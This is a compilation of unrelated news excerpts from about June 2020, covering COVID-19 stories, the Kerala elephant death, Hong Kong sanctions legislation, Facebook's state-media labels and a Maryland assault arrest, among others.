HSBC said: 'We respect and support laws and regulations that will enable [Hong Kong] to recover and rebuild the economy and, at the same time, maintain the principle of 'one country two systems'.'

Standard Chartered believes 'the national security law can help maintain the long-term economic and social stability of Hong Kong.

'The 'one country, two systems' principle is core to the future success of Hong Kong and has always been the bedrock of the business community's confidence'.
Mr. Small poses in Alaska with son Ronan on his back and dogs Simba and Miska by his side. Read more

People Weve Lost Dennis Small Jr.

37 years old

Born in Philadelphia

The former Marine was always in search of his next great adventure More Memorials

Dennis Small grew up in Philadelphia, but his heart and mind usually drifted elsewhere. Not to the Jersey Shore or the next step up the corporate ladder. Mr. Small instead wanted to get his hands dirty. The bigger the challenge, the more he embraced it.

He was always on an adventure, his father, Dennis Sr., said. His whole life was one giant adventure. He was quite an explorer.

Those quests ended suddenly when he contracted COVID-19. Mr. Small, 37, died at his childhood home in Roxborough on Sunday, March 29. His mother, Andrea, believes he caught the illness during a trip to England to visit his girlfriend, Solah Bowden, a few weeks before. Bowden and her father also had the coronavirus but recovered. Andrea Small also had a bout with it.

Mr. Small was 18 when he enlisted in the Marines the summer after graduating from Roman Catholic High School in 2001. On Sept. 11, 2001, the world changed.

It didnt really deter his decision, said his sister, Bonnie. If anything, it probably motivated him more to go.

He was a combat engineer who served three tours in Iraq, followed by several years working as a private contractor in other areas of conflict, such as Somalia.

Itll be my mission, as his brother, to make sure his sons know exactly who there dad was and how he was somebody they can be proud of. Younger brother Timmy Small

Through your diligence and hard work, [you] assisted your platoon in successfully accomplishing over 100 missions traveling over 12,000 miles through an environment fraught with small arms fire, rocket-propelled grenades, improvised explosive devices and indirect fire," commanding officer J.M. Schultz wrote to Mr. Small in a 2004 commendation letter for his involvement in Operation Iraqi Freedom II.

Your enthusiasm and dedication to the Marines at Camp Fallujah ... set an example that others will follow.

Wherever life took him, Mr. Small never forgot his roots. In fact, he couldnt. Reminders were tattooed all over his body. The Liberty Bell. Rocky on the Art Museum steps. Even the Market-Frankford El.

He loved everything Philadelphia, Bonnie said. He had the skyline tattooed on his leg.

Mr. Small met his girlfriend in 2017 and spent a year living in Liverpool, England, before another itch came.

He always wanted to go to Alaska, said his mother. "He wanted to be out there by himself, forging his way.

Mr. Small and Bowden made the 3,400-mile drive across the continent (another adventure, his father pointed out) to Alaska and settled in Anchor Point  130 miles south of Anchorage  with the dream of his captaining his own commercial fishing vessel.

He was there until February, when a fire destroyed his home. Bowden and their son were in England at the time. But he lost three Husky puppies he had been raising.

That devastated him, his mother said. Life was unkind to Dennis in the last few months of his life, but no one can deny that he had a lust for life and an adventurous spirit.

In addition to his mother, father, sister, and girlfriend, Mr. Small is survived by sons Christian and Ronan, and a sister and a brother. Another child is due in June.

A ceremony honoring his life is set for later.

 Ed Barkowitz, ebarkowitz@Inquirer.com
New Delhi: Following the gruesome death of a pregnant elephant in India's Kerala district, after the animal consumed a pineapple filled with crackers according to a forest official's Facebook post, outrage has poured in from the entire country, with animal- and wildlife-related bodies condemning the incident.

It is reported that this incident happened due to the consumption of a pineapple stuffed with firecrackers by a pregnant elephant, which then burst in her mouth and disfigured her jaw. The elephant is reported to have crossed the plantations between the Mannarkad Range and The Silent Valley National Park (SVNP) and later died in a nearby river trying to nurse her injuries. The Kerala Forest Department made all efforts to rescue her from the river using trained elephants. However, despite all endeavours the wounded elephant mother, along with her unborn calf, could not be saved, WWF India said in a statement condemning the death of the elephant on May 27, 2020.

It has strongly requested the Kerala Forest Department and local authorities to thoroughly investigate this matter and ensure that those responsible for this gruesome act are held accountable under the provisions of the Wildlife (Protection) Act, 1972 and any applicable law so that such practices are not repeated in the future.

The fruit stuffed with firecrackers is reportedly used for chasing away animals, such as wild boars.

According to People for Ethical Treatment of Animals (PETA) India, this is not the first time an elephant died due to an explosion from crude bombs or firecrackers which are used in snares to catch other wild animals like wild boars.

"The animals are killed to protect crops, but ecological balance cannot be restored through violence. Anyone caught killing wild boars or any other wild animals must also be punished to the fullest extent of the law," PETA India said in a statement.

Krithi Karanth, National Geographic Explorer and Chief Conservation Scientist, Centre for Wildlife Studies told IANS Life: "Understanding and mitigating conflicts between people and wildlife is a conservation priority in India and the world. As a country, we report 80,000-100,000 incidents of crop and property damage, livestock predation, and human casualties to the government. Animals that are injured or killed in retaliation are unknown but elephants, tigers, and leopards are among the most persecuted apart from snakes. In the short term, we need to support people suffering from losses through compensation and mitigation through programs like Wild Seve. We should inculcate empathy and interest in wildlife through programs like Wild Shaale in children and adults, particularly those who live in close proximity to wildlife. This is not a problem that is going away."
Abhilash Chandran By

Express News Service

KOTTAYAM: Two weeks ago, Kanjirappally tahsildar G Ajithkumar got a call from his colleagues, informing him that an elderly couple was seeking help after returning from New Delhi.

The couple from Manimala, who had been to their elder sons house in Delhi to look after his children, had returned by the first train after the restrictions were relaxed.

Their younger son, however, refused to take them home fearing that they might be infected. The tahsildar had to arrange them accommodation at a tourist centre in Kanjirappally.

Former Kottayam district collector P K Sudheer Babu, who retired on May 31, had to intervene and put a Dubai-returned couple, both in 80s, from Manganam near Kottayam in a COVID isolation centre after their grandson refused to allow them into his house. It didnt matter to him that the couple was returning after visiting his father.

On Tuesday, an 82-year-old man, who returned from Dubai along with his wife, 80, after visiting their son, tested positive while undergoing home quarantine in Kangazha.

COVID war room members soon contacted their other two children, living in Thiruvananthapuram and Thrissur, to take care of the aged mother who tested negative.

But both were reluctant and asked the officials to shift her to an institutional quarantine centre. The response put the officials in a fix as shifting an aged person to isolation centre could be difficult. After long deliberation, the relatives agreed to opt for paid quarantine and the elderly woman was shifted to a KTDC hotel in Changanassery.

The incidents, though isolated, indicate the social stigma attached to Covid-19 and how family values and relationships have become a casualty in these trying times.

Not just relatives, but even children and grandchildren are turning apathetic and shutting the doors on the elderly returnees from abroad and other states.

Though its the obligation of the children and relatives to take care of them, many are trying to shirk their responsibilities. We get many calls seeking institutional quarantine for returnees. Sadly, the family members are not even considering their age, said a health official

Virus should be isolated, not people, says expert

The government directive says people above 75, children below 10, and pregnant women can avail themselves of home quarantine option. But, several returnees are forced to opt for institutional quarantine because their families are not ready to accommodate them.

Psychiatrist Dr C J John said aged people prefer home quarantine.

Aged people like home conditions. When they are put under quarantine in a completely different place, they are vulnerable to disorientation, frustration and other negative emotions. The quarantine mission should be enforced on them with love and care. Virus should be isolated, not the people, said John.

A health official said people are creating unnecessary confusion.

There are several misconceptions about COVID-19 which make the situation difficult for our officers. Recently, we got a call saying a person in-home quarantine was walking on a public road violating quarantine rules. On investigation, it was found that he had never ventured out since the beginning of his quarantine period. Corona war rooms are flooded with such fake calls, said the official.
Kathmandu, June 5

The government of Nepal has objected to a statement of the United Nations High Commissioner for Human Rights Michelle Bachelet about the status of freedom of expression in various countries.

In her statement released on Wednesday, referring to former bureaucrat Bhim Upadhyayas arrest on a cyber-crime charge, Bachelet had said he was arrested for his critical comments on the governments Covid-19 response. In addition, her statement reads, There have been several cases of journalists detained while covering Covid-related news, incidents of journalists facing obstruction from authorities, and reports of threats and physical attacks against journalists.

But, the Ministry of Foreign Affairs issued a statement to refute the UN officials claim, saying, The reference in the release does not reflect the correct facts and reality of press freedom in Nepal.

The statement adds, The constitution of Nepal guarantees full press freedom and also ensures effective judicial remedies against any kind of infringement. The government remains fully committed to protecting the fundamental rights and freedoms enshrined in the constitution.

The ministry assures, The government of Nepal and its Permanent Mission in Geneva stand ready to cooperate with the Office of the High Commissioner for Human Rights in substantiating the facts and information before they are released.
SHELBURNE - A Massachusetts State Police trooper shot and wounded a suspect in a Vermont carjacking Friday morning on Route 2 when the man reportedly steered his truck at the trooper with the intention of hitting him, state police said.

The man, identified as Daniel Williams, 33, of South Burlington, Vermont, was taken by ambulance to Baystate Medical Center in Springfield. State police spokesman David Procopio said Williams was undergoing emergency treatment Friday afternoon.

Williams is considered a suspect in a reported carjacking in Vermont.

A short time before the shooting, Vermont State Police notified Massachusetts that a Ford F-150 truck was involved in a reported carjacking in that state. The truck had eluded Vermont police and headed across the state line into Massachusetts.

According to Procopio, the truck matching that description was spotted heading east on Route 2 heading east toward Shelburne. A trooper in the area of the Shelburne - Buckland town line began placing spiked tire deflation devices in the road to disable the truck, Procopio said.

As the trooper was doing this, he spotted the truck approaching, and saw it steer toward him, Procopio said. The trooper drew his weapon and fired, hitting the driver.

Williams was able to drive from the scene, but the tires on the truck were damaged. It eventually became disabled on Route 2 in Greenfield, and Williams was taken into custody.

The shooting is being investigated by state police detectives, members of the state police Crime Scene Services and Ballistics units. The investigation will also be overseen by the Northwestern District Attorneys Office.

Procopio said state police were able to confirm with Vermont authorities that Williams was the man being sought in the original look-out.

State Police did not disclose what charges will be filed by state police against Williams.

It is not clear what charges he is being sought for in Vermont.
A stonemason, wearing a protective face mask, works on the forecourt of the Basilica of Saint Denis, in Saint Denis, north of Paris, France, on June 5, 2020. (Anne-Christine Poujoulat/AFP/Getty Images)

Wear Masks in Public Says WHO, in Update of COVID-19 Advice

LONDONThe World Health Organization (WHO) updated its guidance on June 5 to recommend that governments ask everyone to wear fabric face masks in public areas where there is a risk of transmission of COVID-19 to help reduce the spread of the pandemic disease.

In its new guidance, prompted by evidence from studies conducted in recent weeks, the WHO stressed that face masks were only one of a range of tools that can reduce the risk of viral transmission, and should not give a false sense of protection.

A woman wears a face mask as she sells vegetables in the Adjame market of Abidjan on June 5, 2020. (Issouf Sanogo/AFP/Getty Images)

The WHOs technical lead expert on COVID-19, Maria Van Kerkhove, said in a Reuters interview: We are advising governments to encourage that the general public wear a mask. And we specify a fabric maskthat is, a non-medical mask.

We have new research findings, she added. We have evidence now that if this is done properly it can provide a barrier  for potentially infectious droplets.

People wearing protective masks walk during rush hour on the first day after the Japanese government lifted the state of emergency in Tokyo, Japan, on May 26, 2020. (Kim Kyung-Hoon/Reuters)

While some countries and U.S. states have recommended or mandated the wearing of face coverings in public, the WHO had previously said there was not enough evidence for or against the use of masks for healthy people in the wider community. It had always recommended that medical masks be worn by people who are sick and by those caring for them.

Britain has said masks will be compulsory for passengers on buses, trains, aircraft, and ferries in England from June 15.

The UN agencys advice that all healthcare workers dealing with COVID-19 patients, or with suspected cases of the respiratory disease caused by the CCP (Chinese Communist Party) virus, should wear medical masks remains the same, Van Kerkhove said.

But the advice has been broadened to recommend staff coming into contact with any patients or residents in clinics, hospitals, care homes, and long-term residential facilities should also wear masks at all times, she said.

By Kate Kelland

Epoch Times staff contributed to this report.
SPRINGFIELD  The ceremonies at Baystate Medical Center and nearby Mercy Medical Center were brief but the message was clear: racial justice is not just a headline of the day, but a mission and responsibility shared by all Americans in their everyday lives.

The White Coats for Black Lives initiative nationwide aimed to provide a period of silent reflection for participants regarding the public health crisis of systemic racism.

Over 150 members of the Baystate Health staff joined in solidarity by taking a knee at 1 p.m. for 8 minutes and 46 seconds on the Chestnut lawn in support of the White Coats for Black Lives initiative. The time reflects how long a white Minneapolis police officer had his foot on the neck of the late George Floyd, who was black.

"As a black man from Birmingham, Alabama, Ive dealt with racist thought all my life,'' Mercy Medical Center consultant Keon Blackledge told more than 100 staff members and supporters who gathered in front of the Carew Street center on Friday. I challenge all of you to walk, talk and love in peace during your daily lives.

Several speakers made brief comments during a vigil organized in response to Floyds death. The May 25 incident has provoked outrage and national protests, some resulting in violence, that addressed not only Floyds death but what activists insist is systematic racism in American law enforcement and the national culture in general.

The Mercy vigil did not directly address the protests, other than to refer to protest as one of many agents of change. Others were writing, activism, education and prayer.

The theme was rather a call for citizens of all races to attack racial injustice by making fairness, peace and brotherhood the tenets of their daily lives, and in their treatment of others.

"Martin Luther King said the time is always right to do whats right,'' Mercy Chief Medical Officer Robert Roose told the gathering.

Infection control coordinator Magdelene Eboso quoted civil rights activist Nelson Mandela, who said "no one is born hating another person because of the color of his skin, or his background, or his religion. People must learn to hate, and if they can learn to hate, they can be taught to love, for love comes more naturally to the human heart than its opposite.

Blackledge, 28, has been with Mercy for less than six months. He lived in Alabama for 24 years, which gave him a unique perspective and made him a logical and important part of the program.

"I spoke with him (Thursday) and told him this was an opportunity to speak,'' Mercy president Deborah Bitsoli said.

Blackledge referred to the sadness, frustration, anger and disappointment that resulted from event, but added that it provided an opportunity to confront racial hatred and injustice seriously, once and for all.

He also made it a point to salute Mercy healthcare workers for their devotion to healing, not just during the current coronavirus pandemic but as a career decision. He described their devotion as an antidote to the societal ills the vigil addressed.

"To not honor you would be a missed opportunity. As colleagues, you are the best of who we are,'' Blackledge said.

According to Roose, the Floyd incident should remove any lingering doubt as to whether systemic racism exists in the United States. The speakers said eradicating systemic racism would not be an instant process, but called on Floyds death to become a catalyst for change - and an inspiration for individuals to engage not just with activism, but personal commitment in their own lives.

"At a time of great collective sadness and anger, we must meet that sadness by listening, reflecting and then taking steps for change,'' Mercy executive mission integration director Bradley Harmon said.
Early on, we developed the habit of having our own worlds and being self-sufficient, said Lynn Henry, Dr. Henrys older sister. When Lynn suffered appendicitis at age 8, little Bonnie came to visit, looked around the hospital and declared, This is what I want to do. She would become the familys first doctor.

After high school, Dr. Henry joined the naval reserves, drawn by the camaraderie, naval navigation and communication techniques, and the lure of the open ocean. She enlisted in her third year of medical school and graduated to become a fleet medical officer in Esquimalt, B.C., not far from where she lives now.

I look back on it now, a lot of the work I was doing with a group of captive men was prevention. They would tease me about always telling them to wear sunscreen and use condoms, said Dr. Henry, who stayed with the navy for almost 10 years, meeting her husband there. (They separated five years ago, after 20 years of marriage, and never had children.)

During a gastrointestinal outbreak onboard, Dr. Henry used basic epidemiological legwork and a microscope to trace the source of the sickness to contaminated bottled water theyd taken on board in Tahiti.

One day at her job at a clinic in San Diego, a man burst in with a gun, demanding to talk to someone. Dr. Henry stepped forward. I said, Im somebody. Lets talk, she recalled. He burst into tears. He was in pain and distraught.

It turned out he was recovering from open-heart surgery and was unsure how he would pay the medical bills.

It was while working for the World Health Organization tracing Ebola outbreaks in Uganda that Dr. Henry developed her ideas about how best to respond to public health emergencies. The keys to an effective quarantine, she came to understand, were communication and support, like food and medical follow-up, not punitive measures.
05.06.2020 LISTEN

Five new executive members of the Technical University Teachers Association of Ghana (TUTAG) of the Bolgatnaga Technical University (BTU), have been sworn into office.

The new executive has a four-year mandate to run the affairs of the Technical University (TU). They are; Mr. Oswald Atiga Chairman, Mad. Leticia Yamga Vice, Dr. George Duut Secretary Baba Ayannor Organizing Secretary and Mr. Redruth Ayimpoya. Our Correspondent Emmanuel Akayeti has the rest of the story.

The old executive held the ford for the past four years when the Institute was then Bolgatanga Polytechnic until the 3rd of April, 2020 when parliament amended the Technical Universities Act (922) converting the Bolgatanga Polytechnic to Technical University.

Speaking to Radio Ghana, the outgoing Chairman of Bolgatnaga TUTAG Emmanuel Akampagji indicated that, the old executive had some challenges transforming from POTAG to TUTAG as it was the transition period, they were able to blaze the odds and now TUTAG stands as part of Technical Universities (TU).in the country.

He explained further some of the tasks head.

The incoming Chairman Mr. Oswald Atiga on behalf of the new executive thanked the old ones for their dedicated service adding that leadership is all about teamwork and with concerted efforts, he will leave no stone untorn.

Mr. Atiga stated that will welcome any productive suggestion as he intends to work on an open-door policy for all shades of opinions in order to succeed
(TNS)  Danith Lys vision goes like this: testing for COVID-19, cancer and other pathogens with results in minutes instead of days at a fraction of the current cost.Realizing that vision is a long way off, but it starts with investment funding to prove the Carnegie Mellon University chemistry professors idea works, then to move the technology out of his Mellon Institute lab in Oakland and into the marketplace. And despite the economic upheaval caused by the new coronavirus, Pittsburgh-area experts say investments are continuing in high-risk, high-reward projects like Mr. Lys.When theres disruption in the market, opportunities always emerge, said serial entrepreneur Don Morrison, who is also co-chair of deal flow at Blue Tree Allied Angels, a Wexford-based private equity investor group. Its really about execution, never about the technology. Its the business model. That hasnt really changed.Pittsburghs fledgling startup economy stuttered with investors turning to protection of existing investments with the outbreak of COVID-19, a highly infectious respiratory disease that shut down commerce, university campuses and medical procedures for two months before government mitigation efforts began easing in June.But investor interest in promising startups is perking up, Mr. Morrison said.Or maybe it never really went away.For 15 years, Mr. Ly, 48, has been working to refine technology that allows rapid identification of pathogens, and preliminary testing shows his system works. He recently received a $300,000 grant through the Mellon Foundation. Mr. Lys research is a long way from becoming the core of a commercial enterprise, so his search for funding to confirm the early lab results continues.In the meantime, Mr. Morrison said Blue Tree Angels is also continuing to search, this time for early-stage companies for investment. And North Shore-based small business accelerator Innovation Works is distributing $2 million to its portfolio companies to help them through the COVID-19 downturn. As many as 40 companies will receive the new investment money, which was distributed by the Ben Franklin Technology Development Authority.Innovation Works has also created a COVID-19 Relief Fund to help other startups through the economic downturn.Its been tough for startups, sure, said Innovation Works spokeswoman Terri Glueck. Good companies get funded in good times and bad.Entrepreneurs took a hit with the spread of the new coronavirus starting in March.In a survey done in April, San Francisco-based research and policy advisory group Startup Genome found 41% of startups globally had less than three months of cash available, up from 29% pre-pandemic.Almost three-quarters of startups surveyed had to terminate full-time employees as a result of the COVID-19 outbreak, underscoring the frailty of the startup ecosystem.But new business applications in Pennsylvania through May 23 rose to 2,280, a 5.6% increase from a year ago, according to the Census Bureau, so entrepreneurs arent stopping.At the AI Robotics Venture Fair at CMU in May sponsored by Innovation Works, 30 companies, including many from the Pittsburgh area, pitched investors, Ms. Glueck said. Following the presentation of investment opportunities, there were hundreds of followup discussions between investors and entrepreneurs, indicating robust interest in the citys startup offerings.Mr. Ly, an entrepreneur, recognizes the difficult road for life science companies, many of which quickly fold. Still, hes committed to making his molecular testing widely available as he waits for a patent to be issued for the technology.These infectious pathogens pop up left and right, he said. They really dont vanish. Im never going to give up on this concept.
By Stephen Nellis

(Reuters) - Data center server maker Super Micro Computer Inc is looking to open a new site in the United States to assemble computers, possibly in Oregon, the East Coast or Midwest, Chief Executive Officer Charles Liang told Reuters on Thursday.

Supermicro supplies servers to cloud computing companies, both designing and manufacturing its own machines. That puts it somewhere between companies like Hewlett-Packard Enterprise Co. that design systems but tap contract manufacturers to make them or manufacturers like Quanta Computer Inc that make machines designed by others.

Liang said in an interview that server assembly was currently almost evenly split between Supermicro facilities in Taiwan and company headquarters in San Jose, California, although the company maintains some operations in China to supply its Chinese customers.

He said Supermicro was examining expansion in Asia - "in Taiwan or another country," without giving further details - and in the United States.

"We have been in San Jose for 27 years. I like the Bay Area a lot. However, when customers want high volumes, they do want a lower price," he said. "We are looking for a second location, maybe in Oregon, or on the East Coast or in the Midwest."

The company also plans to expand its operations in San Jose this year with a facility called Building 23 that will include 90,000 square feet (8,360 square metres) of production space and 118,000 square feet (10,960 square metres) of warehouse storage.

The moves come as Supermicro moves into the market for 5G networks, which are expected to use more data center-like equipment than previous networks. Liang said Supermicro was working with two telecommunications carriers in Europe, "two to three" in Asia, and was in talks with two in the United States, but declined to name them.

He said the 5G equipment could be made in the United States if customers requested it.

"Most 5G telecommunications customers are happy with our production combination - USA and Taiwan," Liang said. "If a customer wants 100% done in the USA, we can do that, too."

According to the most recent figures as of June 30, 2019, Supermicro had 3,670 full-time employees, including 2,281 in the San Jose facilities.

(Reporting by Stephen Nellis in San Francisco; Editing by Peter Cooney)
On the outskirts of Mexico City, an 84-year-old man struggles to breathe. Paramedics hoist him into a capsule for safe transport. This neighborhood is a hotspot for coronavirus. At the hospital, the patients wife is forced to wait outside. Just the day before, she says she lost a son to Covid-19. Like most Covid deaths, his body was supposed to go straight to a crematorium. Only, theres a wait. Crematoriums are backed up, sometimes for days. The government has consistently underestimated the death toll here. But handlers of the dead offer evidence that the region is becoming an epicenter for the pandemic. And its getting worse. This is Nezahualcoyotl, one of Mexico Citys most densely populated suburbs. During the months of lockdown, many people here couldnt afford to stay home and not work, or just didnt want to. And the virus is hitting hard. The wait for cremation is so long some families rent temporary interments, like these. Funeral services barely keep up with demand. Uriel Bizuet maintains death records of all his clients. These death records can tell us a lot about the viruss spread, and suggest Covid-19 has been more deadly than the government admits. For instance, this death on March 5 by acute lung failure, a hallmark symptom of coronavirus, occurred 13 days before Mexico announced the countrys first Covid death. Bizuet wonders if the epidemic arrived earlier than the government said. In March, the cause of death could have been influenza  without a test, its impossible to know. To date, there are more than 11,000 confirmed coronavirus deaths in Mexico. But the true toll is likely much higher. Mario Romero Zavala is a data analyst and software engineer in Mexico City. He recently analyzed death certificates for the city, and found the excess mortality  that is the number of deaths above the historical average  showed 8,000 additional deaths in April and May. Given our study, we cant say that all the excess mortality is directly attributed to Covid. But theres a huge difference  were seeing like a four times difference between whats the official data for confirmed Covid cases of deceased persons in Mexico City versus the excess mortality in Mexico City. The people are given the message that somehow were past the epidemic, and this is not true. This is absolutely not true, and its a very concerning message to be given out. Publicly, health authorities keep saying, Weve made it through the worst. This was Mexicos deputy health minister a month ago. Now medical experts believe that the worst may be just beginning. Health analysts at the University of Washington project the epidemic could kill as many as 45,000 people in Mexico by the end of summer. This week Mexicos president, Andres Manuel Lopez Obrador, began easing restrictions to get the country back to work. Amid these mixed messages, conspiracy theories have caught fire. Doctors told Miguel Angel Gil his father died of Covid-19, but he refuses to believe it. Theres no evidence to support such rumors, and they complicate efforts to fight the epidemic. Gil says he slipped money to a funeral worker for a visitation with his fathers body. Government protocols for handling Covid cases prohibit that kind of contact, and advise that all corpses be immediately cremated. But many families find ways around them as they arent enforceable. Juana Parada Flores, an indigenous Mazahua, says shes following the rules, and hires a funeral service to transport her fathers body from the morgue to a crematorium, or so she claims. Ms. Parada asks us not to follow her. But I learned later that she did not cremate the body after all. Like the family who paid extra for a funeral, she instead drove her fathers coffin two hours outside the city and held a traditional burial service for the community. A Reuters videographer captured dozens of people attending. This is the sort of potential super-spreader event that health authorities want to avoid. As Mexico reopens, the presidents message is that even if danger still exists, the worst has passed. But the effect may be the opposite: that the worst is yet to come.
courtesy of the Montgomery County Sheriff's Office

A cash reward is available for anyone who can identify a pair of junior high-aged girls captured on video surveillance for allegedly causing $300,000 in damages at a Montgomery County school.

Video cameras filmed two girls, between 12 and 16 years old, on the night of May 24, vandalizing a portable building and causing more than $300,000 in water damage on the Montgomery Junior High campus. Officers responding to the high school located at 19000 Steward Creek found no signs of entry, according to the Multi-County Crime Stoppers.
RTHK: Van Hollen raises HK Autonomy Act at hearing

One of the US senators, sponsoring bi-partisan legislation on Hong Kong, has raised the matter of sanctions against SAR financial institutions at a senate banking committee hearing. Senator Chris Van Hollen of the Democratic Party is introducing the Hong Kong Autonomy Act, alongside Senator Pat Toomey of the Republican Party.

The aim of the act is to "impose mandatory sanctions on entities that violate Chinas obligations to Hong Kong under the Joint Declaration and the Basic Law." The legislation would also impose mandatory secondary sanctions on banks that do business with the entities in violation of the Basic Law.

At Thursday's hearing, Van Hollen said there was a need for swift congressional action on the Hong Kong Autonomy Act, which also sanctions individuals deemed to be eroding Hong Kong's autonomy.

It is essential, in my view, that the United States take action to stand up for the important principles that the people of Hong Kong, in the streets, are standing up for, Van Hollen said.

Its important that Congress, again on a bipartisan basis, make sure that we deploy the full arsenal of tools at our disposal in terms of sanctioning.

"Our bill provides secondary sanctions on the banks that help support and are complicit in helping individuals who in turn have been working to undermine human rights and democracy in Hong Kong. And we think its important that Congress move forward on this. I do want to emphasise, again, that today the Trump Administration has plenty of authority to take steps immediately.

Last week, US Secretary of State Mike Pompeo said the US no longer considered Hong Kong to be autonomous after Beijing said it would impose national security legislation on Hong Kong. Last Friday, President Donald Trump said he had ordered officials to begin the process of eliminating special treatment for Hong Kong in response to Beijing's move.

But Senator Van Hollen also said President Trump's recent actions against American protesters had undermined their ability to speak out against human rights abuses abroad.

Two witnesses at the hearing - Eric Lorber, senior director of the Centre on Economic and Financial Power Foundation for Defence of Democracies, and Peter Harrell, adjunct senior fellow, at the Centre for a New American Security - also spoke in favour of the Hong Kong Autonomy Act.

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
Facebook has announced that it will begin labelling media organisations that are wholly or partially under the editorial control of their government in order to keep people informed as to when they are reading media that has been influenced by a state.

The company will also begin labelling adverts from these publishers later in the year and, before the US election in November, start actively blocking adverts out of  an abundance of caution to provide an extra layer of protection against various types of foreign influence.

The labels will appear in three places: globally, in Facebooks Ad Libary Page view, on the Pages themselves, and in the Page Transparency section. In the United States, the label will appear on posts in the main News Feed over the next week.

Facebook will not have labelled all outlets yet. The company says that it has started with a few outlets and will be adding more over time.

There are a number of criteria for a media company to be classified as under the editorial control over the government, including the source of their funding, ownership structure, editorial guidelines, and accountability mechanisms and, should Facebook deem that there are enough protections to ensure editorial independence the label would not be applied.

Publishers proving themselves independent must demonstrate:

A statute in the host country that clearly protects the editorial independence of the organisation

Established procedures, processes, and protections at the media organisation to ensure editorial independence

An assessment by an independent, credible, external organisation finding that the statute has in fact been complied with and established procedures have been followed

Some organisations have already had this label applied: Russia Todays Facebook Page Transparency section reads: This publisher is partially or wholly under the editorial control of a state. This is determined by a range of factors, including but not limited to funding, structure and journalistic standards.

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This has also been applied to Chinas Global Times, but has not been applied to the BBC or ZDF (Zweites Deutsches Fernsehen, or Second German Television) a German television station which is run as an independent non-profit corporation under the authority of the Lander, the sixteen states that constitute the Federal Republic of Germany.

This is not the first time a technology giant has labelled state-sponsored media. YouTube said that it would apply a similar label to content on its platform, but has been criticised for enforcing it haphazardly.

After a ProPublica investigation, the company labelled 35 out of 57 government-funded channels brought to their attention, but did not apply the labels to the 22 other channels with seemingly no explanation why the differentiation was made.

Facebook birthday: 15 defining moments for the social network Show all 15 1 /15 Facebook birthday: 15 defining moments for the social network Facebook birthday: 15 defining moments for the social network Facebook is born On 4 Feb, 2004, 19-year-old Harvard student Mark Zuckerberg launched a website called 'TheFacebook' from his dorm. Within 24 hours the college social network had more than 1,000 users Wikimedia Commons Facebook birthday: 15 defining moments for the social network Winklevoss twins sue Zuckerberg Within one week of launching, fellow Harvard students Cameron Winklevoss, Tyler Winklevoss and Divya Narendra accused Zuckerberg of stealing their idea. It would be four years later when the resulting lawsuit was finally settled Facebook birthday: 15 defining moments for the social network Open for business The social network finally opened it platform to everyone on 26 September, 2006. The move proved the catalyst in supercharging the site's already explosive growth PA Facebook birthday: 15 defining moments for the social network Billion-dollar bid Yahoo offered $1 billion to buy Facebook in September 2006 but Zuckerberg turned it down. 'I dont know what I could do with the money,' Zuckerberg reportedly said. 'Id just start another social networking site' Reuters Facebook birthday: 15 defining moments for the social network In the money In September 2009, almost five years since the site launched, Facebook turned a profit for the first time Getty Images/iStockphoto Facebook birthday: 15 defining moments for the social network Taking the lead Facebook overtook MySpace in 2010 to become the worlds most popular social network Facebook birthday: 15 defining moments for the social network Taking on the tech giants In 2011, Google launched its own social network that it hoped would knock Facebook from its perch. Despite its initial success, Google+ ultimately failed and will be shut down completely in 2019 Getty Facebook birthday: 15 defining moments for the social network Facebook goes public On 18 May, 2012, Facebook went public. The initial public offering raised $16 billion  the third largest in US history Facebook birthday: 15 defining moments for the social network Gobbling up the competition Facebook acquired Instagram in April 2012 for $1 billion, consolidating its position as the world's leading social network Reuters Facebook birthday: 15 defining moments for the social network One billion users On 4 October, 2012, Zuckerberg announced that Facebook had hit 1 billion users. 'If youre reading this: thank you for giving me and my little team the honour of serving you,' he wrote in a blog post Getty Images Facebook birthday: 15 defining moments for the social network Expanding its empire In February 2014 Facebook acquired the messaging app WhatsApp for $19.3 billion REUTERS/Dado Ruvic Facebook birthday: 15 defining moments for the social network Two billion users In June 2017, Facebook passed the 2 billion user milestone REUTERS/Dado Ruvic Facebook birthday: 15 defining moments for the social network Privacy scandal On 17 March 2018, news broke that UK firm Cambridge Analytica had harvested data from around 87 million Facebook users for the purpose of political profiling in the build up to the 2016 US presidential elections Shutterstock Facebook birthday: 15 defining moments for the social network Record profits Despite the scandals and subsequent #DeleteFacebook campaign, Facebook posted record profits just before its 15th anniversary, the equivalent of $7.37 from each of its 2.32 billions users iStock/Independent Facebook birthday: 15 defining moments for the social network Unhappy users A study found that people are happier when they dont use Facebook, adding to mounting evidence surrounding the impact social media has on mental health Rex Features

Such news also comes in the wake of Facebook criticising Twitter for fact-checking and labelling Donald Trumps tweets about election fraud and the George Floyd protests, respectively, with CEO Mark Zuckerberg saying that social media sites should not be the arbiter[s] of truth.
Brennan's arrest came after the Maryland-Capital National Park Police received hundreds of tips about possible suspects on the heels of the release on social media of a dramatic video that captured an enraged bicyclist who ripped the flyers out of the hands of the three people who were posting flyers on the Capital Crescent Bike Trail.

Also on Friday, the branding company Made to Order, which Brennan worked for according to information online, said that it fired an employee "for completely unacceptable behavior toward peaceful demonstrators."

Anthony Brennan III, a 60-year-old white man from Kensington, was charged with three counts of second-degree assault for the attack on a young man and two young women early Monday afternoon along a bike trail in Bethesda, Maryland, close to the Washington, D.C. border.

Police on Friday arrested a Maryland man on charges connected to an attack on a group of young adults posting flyers on a bike trail about protests related to George Floyd, the black man who died after a Minneapolis police officer knelt on his neck for nearly nine minutes .

Police said that detectives "utilized various sources" to corroborate tips before Brennan became their primary suspect. At least two other men were incorrectly identified as the assailant, and police put out statements earlier Friday pointing that out.

Hunter Walker, a Yahoo News reporter who covers the White House, tweeted that he had provided Brennan's name to police after receiving a tip about him. Walker mentioned in his tweet that Brennan had an account on the Strava app, which is used by bicyclists and runners to share their routes and details about how long their rides or runs took with other users.

Hunter Tweet

Investigators contacted Brennan and his lawyer Friday.

"Consent was provided to search his home while members of the State's Attorney's Office and Park Police were present. Items of evidentiary value were seized," police said in a statement.

"A subsequent arrest warrant was obtained and served on Mr. Brennan this evening after he voluntarily turned himself into detectives."

In the video, the bicyclist is seen holding the group's flyers, and then violently grabbing the arm of a small 19-year-old woman among them and wrenching what appeared to be blue straps used for hanging up the flyers off of her wrist.

As he does so, a female companion of the woman frantically yells, "Do not touch her!"

The cyclist is then seen on the video angrily walking over to his bike when "he sees me recording him and sees the fact that I recorded him as he was doing that, and he grabs his bike and he runs it into me and pins me to the ground," a man who was with the two women told NBC 4 Washington.

